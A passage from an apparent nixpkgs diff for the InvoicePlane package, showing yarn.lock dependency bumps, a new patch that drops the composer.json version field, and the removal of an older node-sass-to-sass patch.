+   resolved "https://registry.npmjs.org/grunt/-/grunt-1.6.1.tgz"
+   integrity sha512-/ABUy3gYWu5iBmrUSRBP97JLpQUm0GgVveDCp6t3yRNIoltIYw7rEj3g5y1o2PGPR2vfTRGa7WC/LZHLTXnEzA==
+@@ -700,21 +806,15 @@ has-flag@^4.0.0:
+   resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
+   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+ 
+-has-property-descriptors@^1.0.0:
+-  version "1.0.1"
+-  dependencies:
+-    get-intrinsic "^1.2.2"
+-
+-has-proto@^1.0.1:
+-  version "1.0.1"
+-
+-has-symbols@^1.0.3:
+-  version "1.0.3"
+-  resolved "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz"
+-  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
++has-symbols@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
++  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+ 
+-hasown@^2.0.0:
+-  version "2.0.0"
++hasown@^2.0.2:
++  version "2.0.2"
++  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
++  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+   dependencies:
+     function-bind "^1.1.2"
+ 
+@@ -784,9 +884,11 @@ is-absolute@^1.0.0:
+     is-windows "^1.0.1"
+ 
+ is-core-module@^2.13.0:
+-  version "2.13.1"
++  version "2.16.1"
++  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
++  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
+   dependencies:
+-    hasown "^2.0.0"
++    hasown "^2.0.2"
+ 
+ is-extglob@^2.1.1:
+   version "2.1.1"
+@@ -848,7 +950,7 @@ jquery-ui@1.14:
+   dependencies:
+     jquery ">=1.12.0 <5.0.0"
+ 
+-"jquery@>=1.12.0 <5.0.0", "jquery@>=3.4.0 <4.0.0", jquery@3.7:
++jquery@3.7, "jquery@>=1.12.0 <5.0.0", "jquery@>=3.4.0 <4.0.0":
+   version "3.7.1"
+   resolved "https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz"
+   integrity sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==
+@@ -925,6 +1027,11 @@ map-cache@^0.2.0:
+   resolved "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz"
+   integrity sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==
+ 
++math-intrinsics@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
++  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
++
+ maxmin@^3.0.0:
+   version "3.0.0"
+   resolved "https://registry.npmjs.org/maxmin/-/maxmin-3.0.0.tgz"
+@@ -936,9 +1043,11 @@ maxmin@^3.0.0:
+     pretty-bytes "^5.3.0"
+ 
+ micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5:
+-  version "4.0.5"
++  version "4.0.8"
++  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202"
++  integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
+   dependencies:
+-    braces "^3.0.2"
++    braces "^3.0.3"
+     picomatch "^2.3.1"
+ 
+ minimatch@^3.0.4, minimatch@^3.1.1:
+@@ -948,14 +1057,7 @@ minimatch@^3.0.4, minimatch@^3.1.1:
+   dependencies:
+     brace-expansion "^1.1.7"
+ 
+-minimatch@~3.0.2:
+-  version "3.0.8"
+-  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz"
+-  integrity sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==
+-  dependencies:
+-    brace-expansion "^1.1.7"
+-
+-minimatch@~3.0.4:
++minimatch@~3.0.2, minimatch@~3.0.4:
+   version "3.0.8"
+   resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz"
+   integrity sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==
+@@ -979,15 +1081,19 @@ multimatch@^4.0.0:
+     minimatch "^3.0.4"
+ 
+ nanoid@^3.3.7:
+-  version "3.3.7"
++  version "3.3.11"
++  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.11.tgz#4f4f112cefbe303202f2199838128936266d185b"
++  integrity sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==
+ 
+ node-addon-api@^7.0.0:
+   version "7.1.1"
+   resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz"
+   integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==
+ 
+-node-releases@^2.0.13:
+-  version "2.0.13"
++node-releases@^2.0.19:
++  version "2.0.19"
++  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
++  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+ 
+ nopt@~3.0.6:
+   version "3.0.6"
+@@ -1019,8 +1125,10 @@ object-assign@^4.1.0:
+   resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz"
+   integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
+ 
+-object-inspect@^1.9.0:
+-  version "1.13.1"
++object-inspect@^1.13.3:
++  version "1.13.4"
++  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
++  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
+ 
+ object.defaults@^1.1.0:
+   version "1.1.0"
+@@ -1137,12 +1245,9 @@ picocolors@^0.2.1:
+   resolved "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz"
+   integrity sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==
+ 
+-picocolors@^1.0.0:
+-  version "1.0.0"
+-
+-picocolors@^1.1.0:
++picocolors@^1.1.1:
+   version "1.1.1"
+-  resolved "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz"
++  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+   integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+ 
+ picomatch@^2.3.1:
+@@ -1167,6 +1272,15 @@ postcss-value-parser@^4.1.0:
+   resolved "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz"
+   integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+ 
++postcss@8.4:
++  version "8.4.49"
++  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.49.tgz#4ea479048ab059ab3ae61d082190fabfd994fe19"
++  integrity sha512-OCVPnIObs4N29kxTjzLfUryOkvZEq+pf8jTF0lg8E7uETuWHA+v7j3c/xJmiqpX450191LlmZfUKkXxkTry7nA==
++  dependencies:
++    nanoid "^3.3.7"
++    picocolors "^1.1.1"
++    source-map-js "^1.2.1"
++
+ postcss@^6.0.11:
+   version "6.0.23"
+   resolved "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz"
+@@ -1184,22 +1298,17 @@ postcss@^7.0.32:
+     picocolors "^0.2.1"
+     source-map "^0.6.1"
+ 
+-postcss@8.4:
+-  version "8.4.47"
+-  dependencies:
+-    nanoid "^3.3.7"
+-    picocolors "^1.1.0"
+-    source-map-js "^1.2.1"
+-
+ pretty-bytes@^5.3.0:
+   version "5.6.0"
+   resolved "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz"
+   integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
+ 
+ qs@^6.4.0:
+-  version "6.11.2"
++  version "6.14.0"
++  resolved "https://registry.yarnpkg.com/qs/-/qs-6.14.0.tgz#c63fa40680d2c5c941412a0e899c89af60c0a930"
++  integrity sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==
+   dependencies:
+-    side-channel "^1.0.4"
++    side-channel "^1.1.0"
+ 
+ raw-body@~1.1.0:
+   version "1.1.7"
+@@ -1283,32 +1392,57 @@ sass@^1.89.2:
+   optionalDependencies:
+     "@parcel/watcher" "^2.4.1"
+ 
++select2@4.1.0-rc.0:
++  version "4.1.0-rc.0"
++  resolved "https://registry.npmjs.org/select2/-/select2-4.1.0-rc.0.tgz"
++  integrity sha512-Hr9TdhyHCZUtwznEH2CBf7967mEM0idtJ5nMtjvk3Up5tPukOLXbHUNmh10oRfeNIhj+3GD3niu+g6sVK+gK0A==
++
+ select@^1.1.2:
+   version "1.1.2"
+   resolved "https://registry.npmjs.org/select/-/select-1.1.2.tgz"
+   integrity sha512-OwpTSOfy6xSs1+pwcNrv0RBMOzI39Lp3qQKUTPVVPRjCdNa5JH/oPRiqsesIskK8TVgmRiHwO4KXlV2Li9dANA==
+ 
+-select2@4.1.0-rc.0:
+-  version "4.1.0-rc.0"
+-  resolved "https://registry.npmjs.org/select2/-/select2-4.1.0-rc.0.tgz"
+-  integrity sha512-Hr9TdhyHCZUtwznEH2CBf7967mEM0idtJ5nMtjvk3Up5tPukOLXbHUNmh10oRfeNIhj+3GD3niu+g6sVK+gK0A==
++side-channel-list@^1.0.0:
++  version "1.0.0"
++  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
++  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
++  dependencies:
++    es-errors "^1.3.0"
++    object-inspect "^1.13.3"
+ 
+-set-function-length@^1.1.1:
+-  version "1.1.1"
++side-channel-map@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
++  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+   dependencies:
+-    define-data-property "^1.1.1"
+-    get-intrinsic "^1.2.1"
+-    gopd "^1.0.1"
+-    has-property-descriptors "^1.0.0"
++    call-bound "^1.0.2"
++    es-errors "^1.3.0"
++    get-intrinsic "^1.2.5"
++    object-inspect "^1.13.3"
+ 
+-side-channel@^1.0.4:
+-  version "1.0.4"
++side-channel-weakmap@^1.0.2:
++  version "1.0.2"
++  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
++  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
++  dependencies:
++    call-bound "^1.0.2"
++    es-errors "^1.3.0"
++    get-intrinsic "^1.2.5"
++    object-inspect "^1.13.3"
++    side-channel-map "^1.0.1"
++
++side-channel@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
++  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+   dependencies:
+-    call-bind "^1.0.0"
+-    get-intrinsic "^1.0.2"
+-    object-inspect "^1.9.0"
++    es-errors "^1.3.0"
++    object-inspect "^1.13.3"
++    side-channel-list "^1.0.0"
++    side-channel-map "^1.0.1"
++    side-channel-weakmap "^1.0.2"
+ 
+-source-map-js@^1.2.1, "source-map-js@>=0.6.2 <2.0.0":
++"source-map-js@>=0.6.2 <2.0.0", source-map-js@^1.2.1:
+   version "1.2.1"
+   resolved "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz"
+   integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
+@@ -1333,16 +1467,16 @@ sprintf-js@~1.0.2:
+   resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz"
+   integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
+ 
+-string_decoder@0.10:
+-  version "0.10.31"
+-  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
+-  integrity sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==
+-
+ string-template@~0.2.1:
+   version "0.2.1"
+   resolved "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz"
+   integrity sha512-Yptehjogou2xm4UJbxJ4CxgZx12HBfeystp0y3x7s4Dj32ltVVG1Gg8YhKjHZkHicuKpZX/ffilA8505VbUbpw==
+ 
++string_decoder@0.10:
++  version "0.10.31"
++  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
++  integrity sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==
++
+ strip-ansi@^3.0.0:
+   version "3.0.1"
+   resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz"
+@@ -1399,7 +1533,9 @@ to-regex-range@^5.0.1:
+     is-number "^7.0.0"
+ 
+ uglify-js@^3.16.1:
+-  version "3.17.4"
++  version "3.19.3"
++  resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f"
++  integrity sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==
+ 
+ unc-path-regex@^0.1.2:
+   version "0.1.2"
+@@ -1414,11 +1550,13 @@ underscore.string@~3.3.5:
+     sprintf-js "^1.1.1"
+     util-deprecate "^1.0.2"
+ 
+-update-browserslist-db@^1.0.13:
+-  version "1.0.13"
++update-browserslist-db@^1.1.3:
++  version "1.1.3"
++  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
++  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
+   dependencies:
+-    escalade "^3.1.1"
+-    picocolors "^1.0.0"
++    escalade "^3.2.0"
++    picocolors "^1.1.1"
+ 
+ uri-path@^1.0.0:
+   version "1.0.0"
diff --git a/pkgs/by-name/in/invoiceplane/fix_composer_validation.patch b/pkgs/by-name/in/invoiceplane/fix_composer_validation.patch
new file mode 100644
index 000000000000..0a610bead28d
--- /dev/null
+++ b/pkgs/by-name/in/invoiceplane/fix_composer_validation.patch
@@ -0,0 +1,34 @@
+From e404c835ae6681287f0d0ba005e43732becf8e9e Mon Sep 17 00:00:00 2001
+From: Jonas Heinrich <onny@project-insanity.org>
+Date: Sun, 17 Aug 2025 09:54:41 +0200
+Subject: [PATCH] composer.json omit version string
+
+---
+ composer.json | 1 -
+ composer.lock | 2 +-
+ 2 files changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/composer.json b/composer.json
+index 4ae0b32b7..241d59be9 100644
+--- a/composer.json
++++ b/composer.json
+@@ -1,6 +1,5 @@
+ {
+     "name": "invoiceplane/invoiceplane",
+-    "version": "1.6.3-rc1",
+     "description": "InvoicePlane is a self-hosted open source application for managing your invoices, clients and payments",
+     "homepage": "https://invoiceplane.com",
+     "license": "MIT",
+diff --git a/composer.lock b/composer.lock
+index 46fae450e..cf4aa24c1 100644
+--- a/composer.lock
++++ b/composer.lock
+@@ -4,7 +4,7 @@
+         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
+         "This file is @generated automatically"
+     ],
+-    "content-hash": "6920f42f5773c5e01f9f107ebcedb891",
++    "content-hash": "16ec29d674456761958ca1c78513c3c5",
+     "packages": [
+         {
+             "name": "bacon/bacon-qr-code",
diff --git a/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch b/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch
deleted file mode 100644
index 55b2f2dd90ac..000000000000
--- a/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch
+++ /dev/null
@@ -1,3022 +0,0 @@
-diff --git a/Gruntfile.js b/Gruntfile.js
-index a201bafe..f11bf5bf 100644
---- a/Gruntfile.js
-+++ b/Gruntfile.js
-@@ -1,6 +1,6 @@
- "use strict";
- module.exports = function(grunt) {
--  const sass = require("node-sass");
-+  const sass = require("sass");
- 
-   // Load grunt tasks automatically
-   require("load-grunt-tasks")(grunt);
-diff --git a/package.json b/package.json
-index 878e4233..1a16507b 100644
---- a/package.json
-+++ b/package.json
-@@ -31,8 +31,8 @@
-         "jquery-ui": "1.14.1",
-         "js-cookie": "2.2",
-         "load-grunt-tasks": "5.1",
--        "node-sass": "9.0",
-         "postcss": "8.4",
-+        "sass": "^1.89.2",
-         "select2": "4.1.0-rc.0",
-         "zxcvbn": "4.4"
-     },
-diff --git a/yarn.lock b/yarn.lock
-index ee7067d7..d2585e0d 100644
---- a/yarn.lock
-+++ b/yarn.lock
-@@ -2,196 +2,164 @@
- # yarn lockfile v1
- 
- 
--"@babel/code-frame@^7.0.0":
--  version "7.26.2"
--  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
--  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
--  dependencies:
--    "@babel/helper-validator-identifier" "^7.25.9"
--    js-tokens "^4.0.0"
--    picocolors "^1.0.0"
--
--"@babel/helper-validator-identifier@^7.25.9":
--  version "7.25.9"
--  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
--  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
--
--"@gar/promisify@^1.0.1", "@gar/promisify@^1.1.3":
--  version "1.1.3"
--  resolved "https://registry.yarnpkg.com/@gar/promisify/-/promisify-1.1.3.tgz#555193ab2e3bb3b6adc3d551c9c030d9e860daf6"
--  integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==
--
--"@npmcli/fs@^1.0.0":
--  version "1.1.1"
--  resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-1.1.1.tgz#72f719fe935e687c56a4faecf3c03d06ba593257"
--  integrity sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==
--  dependencies:
--    "@gar/promisify" "^1.0.1"
--    semver "^7.3.5"
--
--"@npmcli/fs@^2.1.0":
--  version "2.1.2"
--  resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-2.1.2.tgz#a9e2541a4a2fec2e69c29b35e6060973da79b865"
--  integrity sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ==
--  dependencies:
--    "@gar/promisify" "^1.1.3"
--    semver "^7.3.5"
--
--"@npmcli/move-file@^1.0.1":
--  version "1.1.2"
--  resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674"
--  integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==
--  dependencies:
--    mkdirp "^1.0.4"
--    rimraf "^3.0.2"
--
--"@npmcli/move-file@^2.0.0":
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-2.0.1.tgz#26f6bdc379d87f75e55739bab89db525b06100e4"
--  integrity sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ==
--  dependencies:
--    mkdirp "^1.0.4"
--    rimraf "^3.0.2"
--
--"@tootallnate/once@1":
--  version "1.1.2"
--  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82"
--  integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==
--
--"@tootallnate/once@2":
--  version "2.0.0"
--  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-2.0.0.tgz#f544a148d3ab35801c1f633a7441fd87c2e484bf"
--  integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==
-+"@parcel/watcher-android-arm64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1"
-+  integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==
-+
-+"@parcel/watcher-darwin-arm64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67"
-+  integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==
-+
-+"@parcel/watcher-darwin-x64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8"
-+  integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==
-+
-+"@parcel/watcher-freebsd-x64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b"
-+  integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==
-+
-+"@parcel/watcher-linux-arm-glibc@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1"
-+  integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==
-+
-+"@parcel/watcher-linux-arm-musl@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e"
-+  integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==
-+
-+"@parcel/watcher-linux-arm64-glibc@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30"
-+  integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==
-+
-+"@parcel/watcher-linux-arm64-musl@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2"
-+  integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==
-+
-+"@parcel/watcher-linux-x64-glibc@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz"
-+  integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==
-+
-+"@parcel/watcher-linux-x64-musl@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee"
-+  integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==
-+
-+"@parcel/watcher-win32-arm64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243"
-+  integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==
-+
-+"@parcel/watcher-win32-ia32@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6"
